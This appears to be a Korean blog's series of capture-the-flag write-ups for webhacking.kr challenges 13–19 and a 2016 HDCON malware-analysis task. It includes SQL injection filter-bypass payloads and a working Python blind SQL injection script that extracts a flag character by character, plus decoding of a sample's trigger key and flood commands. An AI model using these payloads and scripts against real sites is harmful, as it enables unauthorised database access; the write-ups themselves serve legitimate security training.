19번 문제를 접속하면 id를 입력 받는 것이 하나 나온다.



제출을 누르면



GET 방식의 id라는 파라미터로 입력한 값을 전달한다.


admin으로 로그인을 하는 문제 같다.


우선 다른 아이디로도 접속을 해보자.


다른 아이디로 로그인 한 결과



해더를 수정할 수 없다는 error 메세지가 나온다.


그렇다 문제는 망가졌다.


문제가 복구 되면 다시 풀어 봐야겠다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15

18번 문제를 접속하면 아래와 같이 SQL Injection 문제임을 확인 할 수 있다.



index.phps 도 주어졌으니 index.php의 소스를 확인 했다.



내가 알기론 webhacking,kr에는 magic_quotes_gpc가 기본적으로 켜저있다.


하지만 이 문제의 경우 no=$_GET[no] 와 같이 SQL 쿼리문에 쿼터를 사용하지 않고 바로 input 값을 넣어주기 때문에 인젝션이 가능하다.


문제는 id가 admin인 경우에 풀리는 것 같다.


따라서 0 or id='admin'이라는 값을 넣어주면 전체 쿼리는


select id from challenge18_table where id='guest' and no=0 or id='admin'


으로 id가 admin인 row가 리턴될 것 이다.



하지만 여기서 2가지 문제가 있다.


첫 번째로 띄어쓰기(스페이스바)를 필터링 하기 때문에 %20을 %0a로 우회해야 한다.


두 번째로 쿼터를 사용할 수 없다는 것이다.

따라서 admin을 hex값으로 encodeing하여 mysql 쿼리문으로 넘겨주는 방법으로 우회가 가능하다.




하지만 0x를 필터링 하기 때문에 다른 방법을 사용해야한다.


admin을 hex값이 아닌 bin값으로 표현 하는 것이다.



위와 같이 admin을 한글자씩 bin값을 구해서 이어 붙이면 0110000101100100011011010110100101101110값이 나온다.



mysql에서도 정상적으로 bin값들을 문자열으로 인식한다.


따라서 아래와 같이 no값을 0%0aor%0aid=0b0110000101100100011011010110100101101110 로 보내주면 문제를 풀 수 있다.



끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15
webhacking.kr 15번  (0) 2016.11.15

17번 문제를 접속하면 아래와 같이 input text에 값을 넣고 check라는 버튼이 하나 있다.



아무것도 알 수 없으니 HTML 소스보기를 해봤다.



[line 21]과 같이 input text로 입력한 값이 unlock 값과 같으면 Auth Key를 출력해주는 문제이다.


unlock 값을 알기 위해서 아래와 같이 javascript console을 사용하면 된다.


혹은



따라서 input text에 unlock값인 9997809307을 넣으면 아래와 같이 Auth Key를 구할 수 있다.



끝!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15
webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14

16번 문제를 접속해서 보면 아래와 같이 별이 3개 있다.



별에 마우스를 가져가니 별이 1개가 사라졌다.



javascript onmouseover event를 사용한 것 같다.


소스보기를 통해서 자세히 분석을 해보자.


소스 보기한 결과 수상해 보이는 점이 [line 17] 일때 특정 keyCode가 들어 왔을 때 location.href를 사용한다는 것이다.


location.href는 다른 페이지로 이동할 때 사용한다.


따라서 아마 Auth Key가 출력되는 페이지로 이동해주려나 싶어서 어떤 조건일때 인지 봤다.


event.keyCode는 키가 눌렸을때 키보드 키마다 고유 키 값이 있다


그 키 값이 keyCode에 담긴다.


 keyCode를 검색하기 전에 간단하게 아래와 같이 문제를 해결 할 수 있다.



javascript console을 사용하여 cd 값을 임의로 주고 location.href를 바로 실행 시키는 것이다.


다음을 실행 했을 때 아래와 같이 %7C 페이지로 이동하고 Auth Key가 나온다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15
webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14

15번 문제는 50점으로 최하점 문제이다.



최하점 문제 답게 문제를 접속하면 Access_Denied alert 메세지를 띄우며 바로 쫒아낸다.


까다로운 친구다.


확인을 누르자 password is of~~~~~ 라고 순간적으로 지나간거 같다.


아마 javascript를 사용하여


alert('Access_Denied');

document.wire('password is ~');

histroy.go(-1);


을 사용해서 비밀번호를 잠깐 보여주고 뒤로 자동으로 가도록 코딩한 것 같다.


프록시 툴을 사용하여 확인해보았다.



순서는 틀렸지만 예상이 맞았다.


Auth Key값은 off_script 인가보다.


끝!




'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15
webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13


14번 문제를 접속 했을 때의 화면이다.


우선 아무것도 알 수 없으니 소스보기를 해봤다.



간단한 javascript 문제 같다.


input text에 값을 넣고 버튼을 누르면 ck()라는 javascript 함수를 호출한다.


ck 함수를 보면 URL을 가져와서 무언가 연산을 하고 입력한 input text값과 비교한다.


따라서 우리는 javascript console을 이용하여 ul 값이 무었인지 확인하면 문제를 풀 수 있다.



따라서 위와 같이 콘솔창에 ul을 구하는 과정을 그대로 복사하고 붙여 넣으면 ul=510 인 것을 알 수 있다.


input text에 510을 넣고 check를 누르면 아래와 같이 Auth Key가 나온다.



끝!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 16번  (0) 2016.11.15
webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13

13번 문제를 접속하면 아래 처럼 SQL Injection 문제가 나온다.



select flag from prob13password 쿼리문에 대한 row를 가져오면 Auth key가 들어있는 것 같다.


먼저 1이라는 값을 제출해보자.



result가 1이라고 나오는데 벌써부터 느낌이 Blind Injection을 해야 할 것만 같다.



혹시 모르니 0값을 보내보자.



0을 보냈을 때는 result가 안나오는 것을 확인 할 수 있다.


배점이 높기 때문에 필터링을 열심히 하는 문제고 열심히 우회하는 문제같다.


하지만 9번 문제를 풀었던 것을 생각하면 쉽게 풀 수 있다.



똑같이 풀면 되는데 아래와 같이 띄어쓰기가 들어가는 경우 필터에 막힌다.



따라서 스페이스바(공백)을 %0a로 치환하여 아래의 스크립트를 사용하여 풀면 문제를 풀 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "select flag from prob13password".replace(' ','%0A')
 
for i in range(120):
    for j in string.printable:
        param = "(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall("<td>1</td>", res):
            result += j
break
 
    print result



근데 이상하게도 스크립트를 돌리는데 결과 값이 나오지를 않는다.


여러개의 row가 존재 할 수 있기 때문에 select count(flag) from prob13password 쿼리를 사용해 갯수를 알아봤다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "select count(flag) from prob13password".replace(' ','%0A')
 
for i in range(120):
    for j in string.printable:
        param = "(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall("<td>1</td>", res):
            result += j
            break
 
    print result
 
# result: 2


역시나 2개의 row가 있었기 때문에 그냥 select flag from prob13password 했을 때 내부 오류로 아무런 결과가 나오지 않았다.

(서브 쿼리에서는 row가 반드시 1개여야 한다. 안그러면 mysql 오류가 발생한다.)


하지만 여기서 문제가 생겼다.

limit를 필터링 하기 때문에 한개의 row만 가져올 수 없었다.


여기서 생각난게 min, max이다.


따라서 select min(flag) from prob13password 와 같은 쿼리문을 이용하여 최소값 1개를 가져올 수 있다.

(여기서 min, max는 첫 번째 글자의 순서에 따른 결과 일 것이다.)


min(flag)의 결과는 flag이므로 제대로 된 Auth Key값은 max로 구 할 수 있다.


따라서 아래의 Python 스크립트로 Auth Key값을 구할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "select min(flag) from prob13password".replace(' ','%0A')
 
for i in range(120):
    for j in string.printable:
        param = "(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall("<td>1</td>", res):
            result += j
            break
 
    print result
 
# result: challenge13luckclear


Auth Key값을 index.php에 넣고 보내주면 아래와 같이 문제가 풀리게 된다.



끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12

2016 HDCON 역공학 OpenCTF 문제로 윈도우 바이너리를 하나 받았다.


hdconmalware



1. 악성코드 Entry Point는?

2. 악성코드 내부에는 악성 앱이 존재한다. 악성 앱이 생성되기 위해 입력해야 되는 Key 값(인자 값)은 무엇인가? 악성 앱의 MD5는?

3. 악성 앱이 UDP Flooding을 위해 해커로부터 받는 명령 문자[1]는 무엇인가?

4. 악성 앱이 UDP Flooding을 위해 해커로부터 받는 명령 문자[2]는 무엇인가?

주어진 바이너리를 분석하여 위에 해당하는 4가지 문제를 풀어야 한다.


file 명령어를 통해 파일을 확인했고 IDA Pro를 사용해 바이너리를 열었을 때 UPX로 패킹 된 것을 알 수 있다.


PEiD로 확인한 결과 역시 UPX로 패킹이 되어있다.



우선 문제 1. 악성코드 Entry Point는? 를 해결하기 위해서 IDA Pro를 사용하여 파일을 열었다.


어셈블리 코드 끝 부분의 popa 혹은 popad 뒤에 나오는 jmp 명령어가 OEP를 가르키므로 Entry Point는 00403E4D이다.

분석을 계속하기 위해서 Entry Point로 점프하는 부분에 브레이크포인트를 걸어주고 실행한 뒤 Step into기능을 사용하여 Entry Point로 이동했다.


Entry Point 부분에 도착한 뒤 Hex-Rays 기능을 사용하여 Pseudocode를 확인했다.

dword_401000[96] 이부분이 main 함수를 호출 하는 부분으로 0x401000 + 96*4 = 0x00401180 이다.


main 함수로 이동하여 바이너리를 분석하면 프로그램을 실행할 때 인자를 받고 XOR 연산을 통해 v6,"Z$B5K1]1" 값과 비교한다.

XOR 연산의 특징 때문에 어떤 값을 key로 넣었을 때 v6,"Z$B5K1]1"  값이 되는지는 아래의 Python 스크립트를 통해 간단하게 알 수 있다.


1
2
3
4
5
6
7
8
9
10
decode = "Z$B5K1]1"
key = ""
for i in range(len(decode)):
    if i % 2:
        key += chr(ord(decode[i])^0x45)
    else:
        key += chr(ord(decode[i])^0x32)
print key
 
# key: happytot



따라서 해당 바이너리는 happytot라는 값을 인자로 주고 실행 할 때 sub_4010B0() 함수를 호출한다.

sub_4010B0() 함수는 Temp 경로를 구하고 sub_401000() 함수를 호출하는데 sub_401000() 함수에서 Temp 폴더에 apk 파일을 생성한다.


따라서 올바른 키 값을 인자로 주고 실행을 하면 Temp 폴더에서 apk 파일이 생성 된 것을 확인 할 수 있다.

(malware.apk 파일의 md5 hash 값은 23D64BC5C908BFEBC227851090C8D1F9이다.)


malware.apk 파일을 JEB2를 사용하여 분석할 때 문제가 UDP Flooding 이였기 때문에 Receive Class 파일을 먼저 분석하였다.

(악성 앱이 UDP Flooding을 위해 해커로부터 받는 명령 문자는 무엇인가?)



처음에 문제를 잘못 이해해서 서버에 보내는 내용을 찾는 것으로 생각하고 www.krcert.or.kr의 5555 포르토 보내는 값인 아래 2개를 정답으로 제출했다.

- Thanks! HDCON!

- Do you wnat to get a blutooth keyboard?


OpenCTF 진행해주시는 분이 답안이 잘못 됨을 알려주시고 처음부터 차근차근 다시 봤다.


문제의 정답은 해커로부터 받는 명령어이기 때문에 아래 2개의 값이 정답이다.

- v5, You Got A HDCON Badge!

getReal(v1), v1의 Base64로 인코딩 된 문자열을 getReal 함수로 넣어주었을 때의 결과 값


getReal 함수를 분석해보면 v1 값과 512까지의 랜덤 수를 Test 클래스의 aaaaaaaaa 함수로 넘겨준다.


Test.aaaaaaaaa 함수를 따라 들어가면 위 함수와 같다.

Test.aaaaaaaaaa 함수를 호출하면서 마지막에 true라는 인자를 함께 넘겨준다.

(인코딩을 할 때 false를 사용하고 디코딩을 할 때 true 인자를 사용하는 것 같다.)


Test.aaaaaaaaaa 함수의 경우 sssssssssssssssss라는 스트링을 사용하는데 문자열의 길이는 자그마치 32768자이다. 

(여기서 엄청 삽질 한게 JEB2에서 출력해주는 경우 전체 문자열이 아닌 3000개 가량의 문자열만 출력을 해줘서 시간을 많이 보냈다.)


따라서 Test.aaaaaaaaaa 함수를 똑같이 Python 스크립트로 구현한 뒤 512개의 브루투포싱을 통해서 마지막 정답을 구할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import string
 
v1 = "77xChf0VUuJ6BSaZMuPhvJMdKuJ="
table = "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